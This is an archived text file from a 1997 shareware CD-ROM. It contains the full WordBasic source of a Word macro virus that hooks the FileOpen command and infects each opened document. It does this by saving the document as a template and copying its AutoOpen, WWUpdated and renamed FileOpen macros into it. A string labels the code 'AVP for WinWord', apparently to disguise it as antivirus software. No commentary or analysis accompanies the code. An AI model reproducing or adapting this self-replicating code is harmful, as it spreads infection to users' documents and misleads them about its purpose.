home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / APPARITI.ZIP / FILEOPEN.TXT < prev    next >
Text File  |  1997-01-16  |  647b  |  29 lines
  1. Macro: FileOpen
  2.  
  3. Sub MAIN
  4. ' this macro loaded in normal template as FileOpen
  5. AVPcopyright$ = "AVP for WinWord v1.0"
  6. sQuestion$ = "Would you like to "
  7.  
  8. Dim dlg As FileOpen
  9. On Error Goto fail
  10. GetCurValues dlg
  11. Dialog dlg
  12. FileOpen dlg
  13.  
  14. gnoi = 0
  15. iCountMacros = CountMacros(1, 0, 0)
  16. For i = 1 To iCountMacros
  17.  zu$ = MacroName$(i, 1)
  18.  If zu$ = "WWUpdated" Then gnoi = 1
  19. Next i
  20.  
  21. If gnoi = 1 Then Goto fail
  22. FileSaveAs FileName$(), .Format = 1
  23. MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
  24. MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
  25. MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"
  26.  
  27. fail:
  28. End Sub
  29.